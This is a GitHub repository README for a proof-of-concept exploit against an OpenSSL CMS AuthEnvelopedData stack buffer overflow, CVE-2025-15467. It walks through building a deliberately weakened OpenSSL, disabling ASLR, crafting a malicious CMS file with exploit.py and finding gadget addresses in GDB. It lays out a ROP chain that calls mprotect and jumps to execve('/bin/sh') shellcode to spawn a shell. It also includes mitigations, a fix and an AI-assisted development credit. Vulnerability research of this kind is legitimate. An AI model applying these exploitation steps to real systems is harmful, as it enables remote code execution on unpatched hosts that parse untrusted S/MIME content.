Skip to content

guiimoraes/CVE-2025-15467

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2025-15467: OpenSSL CMS AuthEnvelopedData Stack Buffer Overflow

Overview

CVE-2025-15467 is a critical stack buffer overflow vulnerability in OpenSSL's CMS (Cryptographic Message Syntax) parsing code. The vulnerability exists in the evp_cipher_get_asn1_aead_params() function when processing AES-GCM initialization vectors (IVs) in CMS AuthEnvelopedData structures.

Property Value
CVE ID CVE-2025-15467
Severity High
CVSS 8.1+
Affected Versions OpenSSL 3.0 - 3.6 (before patches)
Impact Remote Code Execution (RCE)
Attack Vector Network (parsing malicious CMS/S-MIME)
Authentication None required

Vulnerability Details

Root Cause

The vulnerability is located in crypto/evp/evp_lib.c:

int evp_cipher_get_asn1_aead_params(EVP_CIPHER_CTX *c, ASN1_TYPE *type,
                                    evp_cipher_aead_asn1_params *asn1_params)
{
    int i = 0;
    long tl;
    unsigned char iv[EVP_MAX_IV_LENGTH];  // Fixed 16-byte buffer!

    if (type == NULL || asn1_params == NULL)
        return 0;

    i = ossl_asn1_type_get_octetstring_int(type, &tl, NULL, EVP_MAX_IV_LENGTH);
    if (i <= 0)
        return -1;
    
    // BUG: Uses 'i' (attacker-controlled) as max_len instead of EVP_MAX_IV_LENGTH
    ossl_asn1_type_get_octetstring_int(type, &tl, iv, i);  // OVERFLOW!

    memcpy(asn1_params->iv, iv, i);
    asn1_params->iv_len = i;

    return i;
}

The Bug

  1. iv is a fixed 16-byte stack buffer (EVP_MAX_IV_LENGTH = 16)
  2. First call to ossl_asn1_type_get_octetstring_int() returns the IV length from the file
  3. Second call uses this length (i) as max_len parameter
  4. If i > 16, the function writes beyond the buffer → Stack Buffer Overflow

Exploitation

The overflow occurs during CMS decryption when parsing the GCM parameters. An attacker can:

  1. Craft a malicious CMS AuthEnvelopedData file with oversized IV
  2. Overflow the stack buffer to overwrite return address
  3. Redirect execution to attacker-controlled shellcode
  4. Achieve Remote Code Execution

Affected Applications

Any application that parses untrusted CMS/PKCS#7 content with AEAD ciphers:

  • Email clients processing S/MIME messages
  • Document signing applications
  • Certificate management tools
  • VPN/TLS implementations using CMS
  • Any software calling CMS_decrypt() or similar functions

Proof of Concept

Prerequisites

# Install dependencies
pip install pwntools  # Optional, for auto gadget detection

# Clone this repository
git clone https://github.com/guiimoraes/CVE-2025-15467.git
cd CVE-2025-15467

# Run setup script to compile vulnerable OpenSSL
chmod +x setup.sh
./setup.sh

Or manually:

# Download and compile vulnerable OpenSSL 3.4.0
wget https://www.openssl.org/source/openssl-3.4.0.tar.gz
tar -xzf openssl-3.4.0.tar.gz
cd openssl-3.4.0

# Compile WITHOUT stack protector for easier demonstration
./Configure linux-x86_64 \
    --prefix=/opt/openssl-vuln \
    -fno-stack-protector \
    -D_FORTIFY_SOURCE=0 \
    -z execstack

make -j$(nproc)
sudo make install
cd ..

Generate Test Certificate

export LD_LIBRARY_PATH=/opt/openssl-vuln/lib64

# Generate key and certificate
/opt/openssl-vuln/bin/openssl genrsa -out dummy.key 2048
/opt/openssl-vuln/bin/openssl req -new -x509 -key dummy.key -out dummy.crt \
    -days 1 -subj "/CN=Test"

# Create valid CMS file (needed as template)
echo "test" > plain.txt
/opt/openssl-vuln/bin/openssl cms -encrypt -aes-256-gcm \
    -in plain.txt -out valid.cms -outform DER dummy.crt

# Verify it works
/opt/openssl-vuln/bin/openssl cms -decrypt -in valid.cms -inform DER \
    -inkey dummy.key -recip dummy.crt

Method 1: Auto Mode (Recommended)

The exploit can automatically detect addresses when ASLR is disabled:

# Disable ASLR (requires root)
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Run exploit with auto-detection
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 python3 exploit.py --auto \
    /opt/openssl-vuln/bin/openssl valid.cms dummy.key dummy.crt

# Execute the exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

# You should get a shell!

Method 2: Manual Addresses (via GDB)

If auto-detection fails, obtain addresses manually:

# Get addresses from GDB
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 gdb -q /opt/openssl-vuln/bin/openssl

(gdb) break main
(gdb) run cms -decrypt -in valid.cms -inform DER -inkey dummy.key -recip dummy.crt
(gdb) info proc mappings   # Get libc and libcrypto base addresses
(gdb) continue
(gdb) # When it hits evp_cipher_get_asn1_aead_params:
(gdb) print/x $rsp         # Get stack address

Example output:

libc-2.31.so:     0x7ffff7711000
libcrypto.so.3:   0x7ffff7936000
RSP:              0x7fffffffdc58

Then generate the exploit:

# Generate exploit with manual addresses
# Arguments: <libcrypto_base> <libc_base> <stack_addr> [valid.cms]
python3 exploit.py 0x7ffff7936000 0x7ffff7711000 0x7fffffffdc58 valid.cms

# Run exploit
LD_LIBRARY_PATH=/opt/openssl-vuln/lib64 /opt/openssl-vuln/bin/openssl \
    cms -decrypt -in exploit.cms -inform DER -inkey dummy.key -recip dummy.crt

How the Exploit Works

  1. Patch Valid CMS: Takes a valid CMS file and replaces the 12-byte IV with a malicious payload
  2. Overflow Stack: The oversized IV overflows the 16-byte buffer, overwriting saved registers and return address
  3. ROP Chain: Uses Return-Oriented Programming to call mprotect() and make the stack executable
  4. Shellcode Execution: After mprotect(), jumps to shellcode on the stack via jmp rsp gadget
  5. Shell: Executes execve("/bin/sh", NULL, NULL) to spawn a shell

ROP Chain Structure

[padding: 56 bytes to reach saved RIP]
[pop rdi; ret]        <- Set RDI = stack_page (for mprotect arg1)
[stack_page address]
[pop rsi; ret]        <- Set RSI = 0x1000 (for mprotect arg2)
[0x1000]
[pop rdx; pop rbx; ret] <- Set RDX = 7 (PROT_RWX for mprotect arg3)
[7]
[0]                   <- Dummy for RBX
[mprotect]            <- Call mprotect(stack_page, 0x1000, 7)
[jmp rsp]             <- Jump to shellcode
[shellcode]           <- execve("/bin/sh", NULL, NULL)

Files

File Description
exploit.py Main exploit with auto-detection and manual modes
setup.sh Script to compile vulnerable OpenSSL
README.md This documentation
TECHNICAL.md Technical deep-dive into the vulnerability

Mitigations

For Users

  1. Update OpenSSL to patched versions:

    • OpenSSL 3.6.1+
    • OpenSSL 3.5.5+
    • OpenSSL 3.4.4+
    • OpenSSL 3.3.6+
    • OpenSSL 3.0.19+
  2. Do not process untrusted CMS/S-MIME content until patched

For Developers

  1. Validate IV length before copying:
if (i > EVP_MAX_IV_LENGTH)
    return -1;
  1. Use the correct max_len in the second call:
ossl_asn1_type_get_octetstring_int(type, &tl, iv, EVP_MAX_IV_LENGTH);

Timeline

Date Event
2025-12-14 Vulnerability reported to OpenSSL
2026-01-27 Security advisory published
2026-01-27 Patches released

References

Credits

  • Guilherme Moraes (@guiimoraes) - Exploit Development
  • Claude Opus 4.5 (Anthropic) - AI-Assisted Research & Development

Disclaimer

This proof of concept is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use responsibly.

License

MIT License - See LICENSE file for details.

About

Command Execution PoC for OpenSSL Stack buffer overflow CVE-2025-15467

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages